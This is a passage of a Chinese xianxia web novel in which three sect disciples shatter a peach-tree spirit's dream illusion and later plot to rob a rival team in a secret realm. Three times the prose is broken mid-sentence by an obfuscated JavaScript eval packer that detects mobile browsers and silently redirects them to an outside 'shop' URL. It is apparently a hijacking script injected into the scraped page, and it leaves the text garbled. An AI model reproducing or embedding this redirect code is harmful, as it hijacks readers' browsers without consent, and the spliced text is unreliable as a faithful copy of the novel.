;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032189|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得她看上去像一瓦脆弱的玻璃雕像。 陈赋舟满脸复杂:“她看上去真不像在这种城镇里长大的农女。” 锦书下意识的接道:“嗯,就像哪里来的贵族小姐一样。” 陈赋舟收回视线:“师姐你要不去试试能不能打探出点别的东西来,毕竟你也是女子,她可能会对你敞开心扉。” 锦书说了声好,抬腿就要往外走,陈赋舟拽住她,有些无奈道:“师姐,你先把鞋穿好。” 锦书低着头,这才发现自己刚才太慌张居然连鞋都穿反了,而且过了这么久都没发现,她闹了个大红脸,赶忙换好才走了出去。 锦书扬起一抹笑容走到小桃边:“小桃姐,我来帮你吧。” 小桃惊讶地看了眼她,手中动作未停:“不用了,哪有让客人干活的呢?” 她将花瓣倒进一个袋子里,锦书探头问道:“是要葬花吗?” 小桃更加惊讶了:“你怎么猜到的?” 锦书当然没法直接和她说,上辈子我看过一本书,女主角葬花是很有名的一幕,她打哈哈道:“我有个朋友也很喜欢花,经常这样做。” 小桃脸上的表情更加柔和了:“是吗?你这个朋友真是极好一人,我夫君也很爱花,我就是怕他心疼花才来扫的,只可惜桃花林太大一片了,实在是扫不完。” 锦书笑着回道:“你们夫妻俩这么爱花真是有雅致的人呢。” 提到丈夫,小桃脸上洋溢着幸福:“那当然,我们两个能在一起都是多亏了这桃花呢!” 锦书没想到自己还没套话,她就已经自己说了出来,于是连忙好奇道:“可以和我讲讲吗?” 陈赋舟和李行道两人坐在屋内,一听到关键点,也专注了起来。 小桃没有辜负几人的希望,她眼眸中盛满爱意,缓缓开口道:“当年也是四月天,我同伙伴一起到桃花林里春游,我瞧见了一只从未见过的美丽蝴蝶,一时玩心大起,追着蝴蝶扑了许久,等回过神来才发现,日落西头,伙伴们都不知去向了。这时我听到有个男子的声音正远远念诗,便循声摸了过去,正是我夫君,他一副书生模样,看见我竟还吓了一跳,最后还是好心地把我送回了家。” 小桃脸上流露出一抹羞涩:“只是我没想到,他居然爱上了我,每天都到我家的墙外读自己写的酸诗,后来我们在这片桃花林里定下了终身。” 她话音一转,带上了几分怨恨:“但明明就是这样好的人,我爹娘却不喜欢他,死活不同意我们在一起,就因为夫君他想要去都城考取功名,但爹娘却不想我嫁到那么远,夫君只能为了我放弃了自己的理想,整天去送那劳什子货。” 锦书若有所思地看向屋内,陈赋舟正托着下巴靠在窗上,对上她的目光,他轻轻地点了点头。 小桃还沉浸在自己的爱情故事中,半晌,她才回过神来惊道:“夫君快回来了,我要去等他。”说着,她把手中的东西放到一旁,小步匆匆地跑了出去,屋里的两人推开门站到锦书身旁。 “难道是为了完成自己的理想吗?”她喃喃道。 陈赋舟拔腿往小桃的方向追了过去:“跟上去吧,早点出去才能赶上报名。” 34. 第 34 章 三人追出去的时候,小桃正捏着帕子给杨哥擦汗,两人深情款款地对视着,看的锦书一阵牙酸,但她还是抱着信念大声喊道:“杨植,你快醒醒,这里是你的梦境,你根本没有娶到小桃,这都不是真实发生的事情,你只是在做梦!” 锦书看见杨植松开抱着小桃的手,夫妻二人一起转过头冷冷地看了过来,随即,又是熟悉的天旋地转,锦书的惊呼声噎在嗓子里,吐不出口只觉得像晕车了一样难受的要命。 “你醒了?身体有什么不舒服的地方吗?”又是熟悉的声音,锦书已经不想睁开眼睛了,她欲哭无泪地躺在床上,清缓的脚步声逐渐靠近。 “有好一点吗?” 锦书长呼一口气,睁开眼,果然又是那张美丽的面孔,但锦书已经不想再看到她了,她连鞋都没穿,行云流水地爬下床,冲出门,推开门,大喊道:“我受不了啦!” 锦书有些狰狞地扑到床前,喊道:“李行道,你的剑不是能够撕裂一切东西吗?能不能直接把这个破幻境劈开?” 陈赋舟被她的动作吓了一跳,还是迅速回过神来,冷静道:“按理来说是可以的,因为幻境主人灵力本就不足以支撑了。” 锦书打断道:“那我们一直和他磨磨唧唧什么呢?赶快动手吧!” 陈赋舟叹了口气:“但是强行突破一个幻境很有可能会让幻境主人发狂啊。” 锦书焦躁地挠了挠头,陈赋舟又说道:“但也没有别的办法了,不管是等三日和这个所谓的杨植一起去青云宗,还是继续陷在这个死循环,我们恐怕都只有化作幻境的肥料这一下场了。” 两人一起转过头看向李行道,他看着两双充满渴求的眼睛坐起身,从一旁拿起了玄铁剑,面不改色道:“走吧!” 三人来到桃林前,小桃刚刚满脸疑惑地追了出来,看到三人有些不解地问道:“你们这么快就恢复好了嘛?” 李行道举起玄铁剑问陈赋舟:“我该往哪砍?” 陈赋舟打量了一下四周:“你举起剑从上往下劈试一下。” 李行道冷喝一声,腾空而起,玄铁剑的花纹在空中闪烁中冷冽的光芒,他将剑举过头顶,开始慢慢蓄力。 小桃有些慌张地向前迈了两步:“你们这是要做什么?” 锦书有些歉疚地看了她一眼:“对不起,但是再不出去就来不及了。” 李行道身上绽放出凌冽的灵力,他神情专注地盯着手中的长剑,随即狠狠地从头顶劈下。 玄铁剑锋利的剑锋划出一道冰冷的蓝色,就在长剑已经劈至他胸前的时候,时间仿佛凝固了。 由于李行道是站在屋前动手的,那么蓝色此刻就横在桃林上方,带起阵阵狂风,把花树吹得七零八落。 只是此刻一人已经横在了李行道面前,用手抓住了那无坚不摧的天倦剑。 “无知小儿。”说话的正是杨植,他不费吹灰之力地牢牢抓住了那把剑:“这里是我的幻境,就算你这柄法器有撕裂一切之能,但只要我想,马上就可以再重新做一个新的罗浮梦把你们容纳进去。” 锦书喊道:“喂,你根本就没有灵力来维持这里了吧,别再吹牛说什么自己可以再造一个了,你做的梦该醒了。” 杨植微微一笑:“本来是不够的,把你们吞噬后再维持个百八十年就没有问题了,谁也不能破坏我的梦。” 话落,比剑意带起的强风更疯狂的风出现了,简直就像自然灾害一样,整座桃花林、千千万万的桃花都在这狂风中急速旋转了起来,强大的吸力还拉扯着周围的一切,包括房屋、小桃还有锦书和陈赋舟。 锦书双手挡在脸前,努力的抵挡着狂风:“这是怎么回事?” 陈赋舟也形容狼狈:“他发狂了,准备直接吞噬掉我们。” 锦书已经不太能站在地面上了,她双脚一松,感到身体马上就要被扯了过去,陈赋舟一把抓住她的手腕,片片桃花与狂风的结合像一个粉色的龙卷风,锦书看不见里面杨哥和李行道的状况,她自己的手腕也被陈赋舟抓的发疼,但是这股吸力却越来越强大,陈赋舟咬着牙,额头冒出阵阵冷汗,最终还是无力地也被卷了起来。 陈赋舟看不清锦书的位置,但是手里抓住的那纤细的手腕令他安心了几分,他大喊道:“小师姐,抓紧我。” 锦书另一只手也努力的冲开了束缚,伸了过去,抓住了陈赋舟的手。 “哈”龙卷风深处传来阵阵打斗声,锦书突然灵光一闪:“有了,待会我拿绊玉把我们两个包在一起,你之前不是说你幻术水平比他高吗,我记得师尊之前说过,如果在灵力高出一大截的情况下,反过来控制别人的幻境也不是不行吧?” 陈赋舟艰难地回复道:“控制是没什么问题,但我还没强到能直接从内部控制摧毁别人的幻境。” 锦书扯着嗓子喊道:“那你至少能控制我们在幻境里随意传送位置吧?” 陈赋舟有些迟疑,催动离魂引的话,当然可以,只是他实在不愿用它。 但此时情况危急,锦书抓着他的手已经有些轻微脱力了,恐怕坚持不了多久了。 锦书听到身侧传来重重的一声承诺:“可以。” 化成手链的绊玉闪烁着几点光芒,迅速化作一个大茧一样的东西,将两人包裹其中。 锦书一手撑着茧壁,一手扶着腰,重重地喘了几口气,凌乱的头发缠绕在脖颈上被她用手拨开。 她看向陈赋舟,他闭着眼睛,身体散发出血红色的光芒,应当是在催动体内的离魂引,没过一会,大茧开始剧烈的晃动,锦书措不及防的身子一歪,差点就要摔在陈赋舟身上。 陈赋舟睁开双眼,搂住了她的腰,锦书偏了偏头,看见他一双乌亮的眼睛里似乎还带着几分血气。 陈赋舟松开手:“好久没用幻术了,耽搁了一些时间,师姐现在可以松开绊玉了。” 闻言,锦书心念一动,绊玉所化成的茧慢慢消融,灵光一闪,已是化作了长剑稳稳地被锦书攥在手心。 锦书抬眼望去,李行道显然已经和杨植打过一场了,两人都气喘吁吁地各站一方,身上都有着大大小小的伤口,不过杨植身上的伤口却在慢慢的恢复,显然是因为身处他所制造的罗浮梦中的缘故。 不过令她吃惊的是,杨植身边还站着一人,正是刚才和自己一起圈进龙卷风的小桃。 只不过与两人好不容易 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他身上已经完全恢复如初了,小桃搂着他的胳膊,那张温柔的脸上居然少见的露出一丝恶毒:“你们这群蠢货,我和夫君当然是在一起的喽,以前在一起,现在在一起,以后也会在一起,永远永远地在一起。” 锦书震惊地看着两人,现在的情况她已经完全搞不清楚了,听了这番话不由得脱口问道:“你精分吗?” 小桃微微蹙眉,疑惑道:“精分是什么意思?” 锦书撇了撇嘴:“就是说,你脑子是不是有病?” 小桃呆了呆,随即回过神来,愤怒地上前一步却被杨植拉住了胳膊,她转过头看见杨植对自己安抚一笑,便又退回到他身旁,脸上又重新挂起了招牌笑容,虽然现在锦书眼里却是和小人得志没什么区别。 小桃道:“之前那些什么求娶的故事全是骗你的,不过是我在树下捡的话本子而已,谁知道我说给你听,你还真信了。” 锦书暗暗咬牙,真是社会险恶,如今想想,那个故事确实十分俗不可耐,也就当时自己病急乱投医才会信了,但此刻气势不能弱,她还是回道:“管你到底是谁呢,今天如果不放我们走,就给你好看。” 杨植笑容温和冷静:“别异想天开了,如果你们几个老老实实在罗浮梦里呆着,还能死的快乐些,谁叫你们非要出去的。我承认,你们几个天赋确实挺不错的,不过这里是我的地盘,就算你们伤到了我,不出眨眼的功夫,伤势就能恢复如初。” 锦书当然知道他说的情况,现在情况棘手,但也只能一战了,她喝到:“别废话了。”接着便率先提剑冲了过去。 锦书一剑劈向杨植,他却化作片片花瓣散开,又在另一侧重新凝聚了一个身体。 又是这种把戏,和上次鬼子母化成烟雾一样,这已经是锦书第二次见了,倘若是上次的她来,恐怕还会束手无措,但现在不一样了,经过了魔鬼训练的锦书已经有了应对之法。 锦书迅速将剑转了一个方向,脚下使力,整个人如同一支射出去的长箭一样不断的追踪着多次变换位置的杨植。面对闪躲能力明显逊色于烟雾的花瓣,锦书应对起来显然轻松了不少。 35. 第 35 章 很快,杨植身上便出现了点点红色,锦书灵力外散,很快就抓住了杨植闪躲的轨迹,她冷哼一声,整个人同绊玉一起化作一道锐利的光芒瞄准射了过去。 杨植不敌绊玉剑,万千花瓣散开,他重重的跌落在地上,捂着胸口,突出一口血来。 远处的小桃尖叫着奔了过来,但锦书不会给她机会,马上调转方向,重新凝聚灵力猛的刺了过去,小桃两只手悍然抓住剑身,两只细嫩的小手马上就鲜血直流,但她却不管不顾地用力拽起绊玉,一只脚往锦书腹部踢去,锦书一脚蹬起,整个人都飞了起来,完美的避开了这一击,同时灵力源源不断地汇聚向绊玉。 小桃暗道一声不好,连忙脱手,又是一掌往锦书脖颈拍去。 这时,血红的灵力如同一片绸缎一般,席卷着锦书回到了陈赋舟身旁。 “杨植又好了,在这里他们永远都不会受伤的,这样耗下去对我们没有好处。”陈赋舟灵力散开,锦书稳稳地落在了地上。 她有些疑惑的问道:“之前怎么没发现你灵力这么深厚,都能短暂地凝聚成实体了。” 陈赋舟眸中闪过一丝无人发觉的奇异情绪,他用了离魂引。 小桃扶起杨植,两人片刻间就恢复如常了,看的锦书忍不住吐槽道:“和开了外挂一样,这怎么打。” 陈赋舟身子绷得很紧,他后退两步,压低声音对李行道说道:“师弟,你和你的剑还要恢复多久?” 李行道答道:“恐怕还要半柱香的时间。” 陈赋舟点点头:“够了,待会我会用全力撕开一道罗浮梦的口子,你用剑使劲劈过去,成败在此一举了。” 李行道应道:“是。” 陈赋舟神色凝重,又对锦书说道:“但凡幻境,皆有破绽,你替我拖一会时间。” 长时间的相处,锦书已经十分信任两人,承诺道:“你们俩放心,一切有我顶着。” 杨植看向锦书,有些挑衅道:“还有继续的必要吗?” 人生如戏,锦书一脸慌张无措,叹了口气道:“真要出去打,你可打不过我。不过谁让我们倒霉偏偏进了你这罗浮梦,死到临头,我只想把事情搞个清楚,你不会这么无情吧。” 杨植神色略有些缓和,想了想开口道:“既然你想开了,那我也让你做个明白鬼。” 小桃眉眼温婉,勾起一抹浅笑,接道:“我和夫君本是一棵桃花树,自诞生在这个世界上,便从未分开半步,可以说他即是我,我即是他。不知多少年前,我们诞生了灵智,从那时起,我们就清楚地知道,没有人比我们两个更了解对方,我们长在同一个地方,共享同一片阳光,我们之间没有秘密,有着共同的快乐与悲伤,我们天生就该在一起。” 说着,她抬起眼盯着杨植露出灿然一笑,甜蜜的仿佛两人不过一对刚刚新婚的小夫妻。 “但我们却无法真正地在一起,早在仙魔大战的时候,这天地之间的精华便越来越稀薄,只有你们这些人类修士可以勉强借用来修炼,而我们妖族如果想要化形,如果不用歪门邪道,几乎如同登天一般难行。” “为了能够抚摸他的脸庞,为了能够与他真真切切地拥抱一次,我只能够做了这罗浮梦,只有在梦里,我才能像许许多多平凡的女子一样与爱的人过上普通的日子。” 她的情绪渐渐激动了起来:“谁知道,这梦过得这么快,不过还好,有了你们的帮助,再做几年也不是什么难事。” 锦书有点无语,搞什么啊,果然还是精分,不仅如此还是个水仙玩家,等一下,到底是水仙还是骨科,还有待考证。 小桃正要继续说下去,锦书身后却终于传来了沉默许久的陈赋舟的声音:“好了,少废话了,我们还赶时间去参加仙门大比。” 小桃咯咯笑了两声:“又在说什么梦话呢?” 杨植脸色一变:“你在干什么?” 陈赋舟风淡云轻地拍了拍手:“当然是出去。” 身后,一把长剑横空出世,杨植和小桃惊愕地看着那泛着寒气的玄铁剑划过眼前,这模样只是一把普通的铁制剑的法器怎么可能发挥出如此威力? 陈赋舟双手抬起,在胸前结了一个极为复杂的印记,血光大作,他长长的袖子在风中翻滚,两只眼睛如同血做的一般,散发出阵阵戾气,锦书从没见过这样的他,乍一看竟有些无措。 那血色的印记被陈赋舟托举到头顶,他浑身上下都被鲜血一般的红笼罩了,印记越升越高,甚至开始急速地旋转了起来,它如同一把飞镖一样,不断地割裂着周围的空间,无形的屏障上开始逐渐出现了一道道裂缝。 杨植尖叫道:“不可能,从没听说过有人能强行控制别人的罗浮梦。”他腾空而起,妄图阻止那印记,锦书眼疾手快地丢出绊玉,一道白光跨过无数裂缝毫不留情地将杨植钉在地上。 陈赋舟还在继续释放灵力,他脸色惨白,嘴角流出鲜艳的血,锦书站在他面前,笑了笑:“别人不可能,但不好意思,站在你面前的是有史以来第一幻术天才。” 不装白不装。 陈赋舟长睫闪动,大喝一声:“李行道!” 李行道从他身后闪出,一把抓住长剑,人剑合一,他劈向一道又一道裂缝,缝隙无力地破碎的越来越大了, 这座无形的屏障此刻可以说是破败不堪、千疮百孔。 杨植发疯了一般尖叫着,想要去阻止眼前的一切,可惜绊玉却死死地把他钉在地上,小桃蹲在他身旁艰难地想要拔出那把剑,手掌却被灼烧出一个又一水泡。 锦书知道这是因为罗浮梦即将破碎的缘故。 终于,万千缝隙连接到了一起,清脆的一声,犹如瓷器破碎一般,白光大作。 锦书一屁股跌坐在地上,手掌也被什么硬硬的东西咯的生疼,锦书“哎呦”一声,抬起手才发现,只不过几颗碎石子。 她还没抬起头,就感到身侧有个什么东西重重地倒了过来,锦书慌里慌张地接住,这才发现,原来是脱力的陈赋舟。 他戾气已经散了个干净,只不过煞白的面孔上只有被鲜血浸染的嘴唇还有点颜色,湿漉漉的发梢垂在额前,倒有几分病态的美感。 锦书瞧他无力地躺在自己怀里,简直可以说是楚楚可怜,有些怜惜:“你怎么憔悴成这样?有没有什么大碍?” 陈赋舟挣扎了两下,要从她怀里起来,不过实在是太过虚弱又跌了回去,他皱了皱眉头,身下柔软的触感,和女孩身上若有若无的花香,都令他有些懊恼,怎么偏生就倒在了她身上。 他声音沙哑:“师姐放我到旁边吧。” 锦书还是小心翼翼地挪动陈赋舟靠到一旁的一块大石头上。 李行道走到锦书身旁开口道:“这是杨植的本体吗?” 锦书抬眼看了过去,只见眼前哪里有所谓的桃林啊,不过是一颗孤零零的桃树立在那里。 这桃树也不像幻境里的一样枝繁叶茂,光秃秃的枝干和干枯的树枝是它饱受风霜的象征。 感受到几人的目光,它布满裂纹的斑驳树干无力地摇摆了几下。 李行道冷酷道:“这桃树拿路人做肥料,倘若不是遇到了我们,不知道会有哪些无辜的人丢了姓名,必须斩草除根,以绝后患。” 锦书点点头赞同道:“没错。” 这时,桃树剧烈的摇晃起了树枝,锦书疑惑道:“咦?它好像还有话可说。” 陈赋舟已经恢复大半,坐起身,手指带起一道灵力指向桃树,桃树前浮动起两个半透明的身躯,正是杨植和小桃。 小桃惶恐道:“求求几位不要杀我们,我们虽然这次确实把各位卷了进来,但在此之前却从未伤过其他人的姓名,确实是因为罗浮梦维持不下去了,才动了歪念头啊。” 锦书双手叉腰怒斥道:“少在这马后炮了,我们还不是差点就被你们害死了,而且你们还耽搁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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杨植知道自己受制于人,也没法再推脱,于是便对小桃点了点头,小桃面色流出几分心疼,却还是拉住杨植的手。 两人身侧出现点点粉色的光芒,早已干枯的桃树仿佛一刹那间就有了光彩,起死回生一般地长出了新的枝丫和绿叶,桃树不断的长高,茂密的树冠向四周扩展开来,接着是千万花苞眨眼间便出现在了枝头,像罗浮梦里的一样,这些花苞抖擞精神,绽放出了千万花朵。 小桃眸色柔软,如同看着自己的孩子一般抬头看着这些花朵,数不清的花朵从树上掉落下来,拢居在一起,化作了两条手链落在了陈赋舟面前。 小桃飘到陈赋舟耳侧,同他小声地说了些什么,他接住手链:“确实有些鸡肋了。” 锦书有些好奇的探过头看去,那两条手链上串着朵朵桃花,栩栩如生地绽放在琉璃一般的绳子上,开的蓬勃又娇艳。 “是什么作用啊?”她眼神中充满疑惑。 陈赋舟轻笑一声:“下次再告诉师姐。” 锦书站直身子,不想说就不说嘛,还什么下次。 “谁稀罕。”她甩了甩脑袋,别过头。 陈赋舟收齐手链,抬起头道:“别觉得我占了你们便宜,我有办法让你们多做几年梦。” 杨植情不自禁地表现出几分欣喜来:“真的?” 陈赋舟身上又开始泛起血光,他口中念念有词,随着一串生僻的法术吐出,血红色的灵力从他脚下流向桃树,杨植和小桃都感到身上突然充满了活力。 锦书下意识地看向他,这应该是之前他所说的体内那个什么离魂引的作用吧,不过他不是说会有反噬吗,之前在幻境里出现的那股令人畏惧的气息应该就是副作用吧。 片刻后,陈赋舟收回了灵力,杨植和小桃已是感恩戴德,连连道谢。 “不必多说,快送我们去小世界吧。” 杨植诚恳道:“请恩公们站在一起,我这就施展法术,不过我不能确定传送的地点,各位做好准备。” 36. 第 36 章 锦书深吸一口气,紧紧地闭上了双眼,小脸抿的皱巴巴的,穿来这里每次一变换位置就和坐过山车一样,这次她干脆先入为主提前做好准备。 “师姐怎么还不睁眼?”干净的少年音如同清澈的泉水,只不过此时包含了一股疑惑之意。 锦书睁开眼,一张俊美的面孔映入眼帘,放大的桃花眼里,琥珀一般的瞳孔里倒映着一个满脸紧张的美丽少女。 她吓了一跳,下意识地后退了两步,身体靠在了一块不平的固体上,锦书摸到了一手粗糙的树皮,她晃了晃脑袋,拍了拍手掌,打量起了四周。 三人此时所处的地方是一片森林,这片森林里的树木都形状奇异,它们躯体扭曲,长着长长的枝条,不同树木的纸条搭在一起构成了一片天然的大棚,头顶密密麻麻的树叶中偶尔有几率顽强的阳光扒开缝隙照进来。 锦书碾了碾脚下光滑的青苔,有几只没见过虫子从一旁的荆棘丛里飞了起来,一哄而散的扑向四方,锦书皱了皱眉,这感觉有点像荒野挑战节目里的热带雨林。 “我们这么快就到了吗?我还以为会晕一阵呢。”锦书一边在挂在腰上的小兜里摸索,一边靠近陈赋舟两人。 “嗯,不过不太清楚我们现在的具体方位。”李行道抱着肩膀警惕地打量着四周,他背后的玄铁重剑散发出沉重的气息,颇有一定的威慑力。 锦书低下头找了半天总算摸到了想要的东西,她递给陈赋舟和李行道一人一条手帕,绊玉也化作了一把匕首落在手里。 陈赋舟接过那条浅粉色、少女心十足的手帕,有些不解道:“这是什么?” 锦书拿匕首在手帕的上面两侧戳出两个洞,然后挂在两只耳朵上对两人转了转脑袋以作示范:“诺,这里蚊虫这么多,万一有什么传染病怎么办,戴在脸上应该也有点防护作用。” 陈赋舟点了点头,赞许道:“好主意。” 两人纷纷相仿锦书把手帕挂在了脸上。 其实锦书也使了点小心思,如今看着挂着粉红色手帕的陈赋舟和翠绿色手帕的李行道,她实在忍俊不禁,捂起嘴背过身笑了起来。 等笑够了,才无奈地摊开手:“好啦,小翠小红,现在的当务之急是先搞清楚我们在哪,你们有什么想法吗?” 李行道翠绿色的面纱上露出一双坚毅的眼睛,显得格格不入,他声线沉稳:“我们报名迟到了,没有分发的地图,这里的天空又全被遮挡,根本看不清太阳,分不清南北。” 说到这里,锦书简直头大,仙门大比之前,为了保证仙门大比的公正性,各家长辈都约定好不会同小辈透露小世界的环境,所以之前的报名就有了另外的意义,弟子们会统一收到一张地图和传送符,小地图上标注了小世界的大致轮廓和秘宝可能存在的位置,传送符则是当弟子们遇到危险时用灵力点燃就可以脱离小世界。 错过了报名就导致三人都没有这两样东西,传送符倒还好,陈赋舟自信满满地告诉两人,只要有样本,他就能依葫芦画瓢做出来一模一样的,只是这小地图一时却有些难搞。 锦书正撑着脸犯难,却听到远处传来一阵又一阵喧闹声,听起来好像正是一群人在吵架。她两眼一亮,又对上同样若有所思的陈赋舟,几乎只是一个对视,两人就心领神会,明白了对方和自己一个想法。 两人一人抓住李行道的一只胳膊,不顾他惊诧的眼神,又制止住他即将脱口而出的疑问,把他拽到了一处较高的荆棘林后面。 锦书将食指放在嘴唇上对他比了个“嘘”,随即压低声音解释道:“有人要来了,咱们看看他们实力如何,如果不如咱们,那就直接......” 李行道瞪大眼睛,看见陈赋舟和锦书诡异地相视一笑,然后异口同声地说出了一个字:“抢!” 他呆滞地问道:“可是,我们这样是不是不太好啊。” 锦书摆了摆手,狡猾的笑道:“他们那么多人,我们只拿一份不会就好了,小师弟你做人不能太正直,偶尔变通一下也无伤大雅。” 那吵架声越来越大,三人能缩成一团,凝住呼吸在荆棘丛后小心地视奸着即将走过的一堆人。 “我早说了先去碧青谷那边,你非要先从这里走,好了吧,现在给我们带到了什么鬼地方,等我们走出去早就毛都不剩给我们了。”说话的是为首的一个矮个少女,她皮肤偏黄,脸上还有几颗发红的青春痘,此刻看上去格外暴躁。 跟在她身后的一个年龄较大的长脸男子听到她的抱怨淡淡道:“碧青谷那里地势险恶,前辈们都没怎么涉足过,地图上也没有什么太明确的描写,作为你们的领队,我要为所有人的安全着想。” 少女并不领情:“本来就不该让你当领队,你做事又慢吞吞的又循规蹈矩。我真是想不明白为什么非要先到这里来,其他宗门的弟子也都往这里来了,这么多人分一碗汤哪里够喝?” 听到这话,锦书暗暗点了点头,这道理确实没错,但那长脸男子依旧面色如常,面对队友的埋怨并没流露出半分不满,依旧好声好气地解释道:“我们先来这里看看情况,之后再去别的地方也不迟。” 少女恼怒地跺了跺脚,发脾气道:“吴百,你怎么反反复复就这几句话,那你倒是说,我们怎么从这里出去啊” 吵架声由远及近,锦书小声道:“原来是这个情况,他们人这么多,我们不一定能打得过呀。要不,待会我去做卧底,你们两个远远地跟着等到时机成熟再跳出来打劫,我们里外呼应,拿了东西就跑。” 李行道担忧道:“你一人,会不会太危险。” 锦书拍了拍胸脯:“放心,大家都是世家子弟,不会做出什么伤人害命的事情的。再说,我要是带上你们,你们俩看上去年轻力壮的,你又背着这么吓人的一把剑,他们怎么可能对我们放心,这种事就适合我这种外表娇弱的女子干。” 说话间,吴白等人已经快要走到三人藏身的荆棘丛前了,锦书快声道:“好了,事不宜迟,你们两个千万别拖我后腿。” 锦书摸了摸脸上地帕子,确保一切稳妥后,娇滴滴地惊呼了一声就从荆棘丛里扑了出来。 “啊!” 几人看到前方突然冲出来一个女孩都吓了一跳,见她跌坐在地上,无助地抬起头,白色的面纱遮住了大半张脸,只留下一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061395|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌黑的大眼睛含着泪水楚楚可怜的看向几人。 有些暴躁的少女呆了呆,回过神后迅速地上前两步扶起了锦书:“姑娘,你没事吧。” 锦书轻轻地摇了摇头,几滴大颗的眼泪滚出,她稍微夹了夹嗓子弱弱道:“谢谢你,我没事,只是有点害怕才摔跤了。” 剩余几人也围了上来,面对这个突然出现的神秘陌生女子,他们都有几分好奇,只有吴白神情镇定,冷静地问道:“姑娘叫什么名字?来自哪个宗门世家?” 锦书蹙起眉头:“我叫阿书,是灵俐宗的。” 吴白疑惑道:“奇怪,我并没有听过这个宗门。” 锦书在手帕下瘪了瘪嘴,你当然没听过了,这是我刚才灵机一动瞎编的,但她却面露怯弱道:“我们宗门比较小,有比较偏远,已经好几年没参加过仙门大比了,没听过倒也正常。” 吴白面露怀疑,还要继续追问,暴躁少女却不耐烦地打断了他:“你老是这样问问问做什么?你没看见她都哭了吗?不能让人心情好点了再说吗?” “可是,我们现在迷路了,这姑娘又突然出现,还是要保持警惕才行啊。” 少女瞪了他一眼:“迷路还不是怪你!你看她这么可怜,又长的这么漂亮,怎么看也不像是歹人啊。”她又转过脸对锦书露出一个安抚的微笑:“阿书,你别怕,我们是青云宗的弟子,我叫吴青青,这是我哥哥也是我们的大师兄叫吴白,他这人就是这样神经兮兮的,你不要多想,毕竟我们现在呆在这里确实需要多注意一点。” 剩下几人也纷纷向锦书介绍了自己的名字,锦书有些意外,之前看到两人吵架,她本以为他们之间不对付呢,原来是亲兄妹,不过这个吴青青貌似不知为何格外信任自己。 吴青青问道:“对了,你们宗门来的还有其他人吗?你怎么一个人出现在这里。” 闻言,锦书眉头蹙起,捂住胸口,一副极为难过的模样:“宗门来的只有我一人,我本想着随便找找有没有合适的灵药采一点带回去,谁知道就迷了路,还好遇到了你们。” 吴青青看着这娇弱少女用那水灵灵的含情眸子盯着自己,眼神中充满了渴求之意,一时间保护欲乍起,她拉住锦书的手,定声道:“放心,你既然遇到了我们,就更这我们吧,你看着这么柔弱,应该是个药修之类的吧,我们会保护你的。” 锦书顺从点了点头,没有否定这层身份。 见兄长面色上仍有不赞同,吴青青又训斥了他一番,再三说道锦书一看就不是歹人,吴白面对骄纵的妹妹也只能无奈地点了点头,同意她和他们一起走。 锦书见事情成了,有些得意地往荆棘丛里看过去,趁着没人注意还挑了挑眉头。 荆棘丛里的两人看她如此轻易地便得到了信任都有些不可思议。 李行道若有所思地嘟囔道:“平日里倒是没想到师姐还有这样一套。” 陈赋舟勾起嘴角:“师姐那么可爱,任谁看到都不会为难她的。” 李行道有些呆滞地瞟了他一眼,不过没得到什么回应。 两人看到这群人已经动身也不再多加讨论,小心 37. 第 37 章 锦书跟着几人在这座森林里窜来窜去,她瞧见领头的吴白手里拿着一张牛皮纸似的东西,一边皱着眉头研究那纸张,一边左右观察着周围的环境,锦书猜想那应该就是所谓的地图,只是还不知道传送符长什么样子。 随着几人在林子里越逛越久,吴白的脸色也越来越不好看,终于他停下了脚步,指着一棵大树说:“我们已经是第三次到这里了。” 吴青青撇了撇嘴,一看那样式又是要同她兄长吵架,锦书连忙上前一步,亲切地挽住了她的胳膊,安慰道:“这林子里分不清东南西北,找不到路也是正常情况,先前我就是迷了路,带的那地图也搞丢了。” 吴青青脸色缓和下来:“怪不得当时你看上去那么可怜,丢了地图,又是一个人待在这破林子里,你一定吓坏了吧。” 她心疼地看向锦书,又从坏了掏出一份同吴白一样的地图递了过去:“还好你遇到了我们,你先用我的地图吧。” 锦书怔了怔,这个吴青青不知为何从刚遇到就对她抱有这么大的善意,她不过试探性的一说居然就直接拿到了地图,想到原先他们的计划,锦书心中不由得浮上一丝愧疚。 吴白站在树下不动,同几个师兄弟一起研究起了地图,锦书也接过地图,小心地展开研究了起来。 这地图画的并不算详细,只是拿不同的色块拼凑成一片完整的小世界,不同色块上标有地区的名称,以及简单地在一旁介绍了一下地貌和可能会诞生的领要吃,至于其他灵器都是各家弟子自己的机缘了。 锦书大致了解了一番,断定几人现在在小世界南边的林子里,穿过这片林子继续往南走,就到了灵药最丰富的一片地区,而吴青青之前说过的碧青谷则在最东边,那里的介绍最少也最神秘,应该是鲜少有人踏足的原因。 吴白的想法是先去最南边人多的地方大概了解一下情况,以最稳妥的方式进行,但吴青青是个不折不扣的激进派,认为南边人多,东西不够分,应该去探索一些未知的领域。 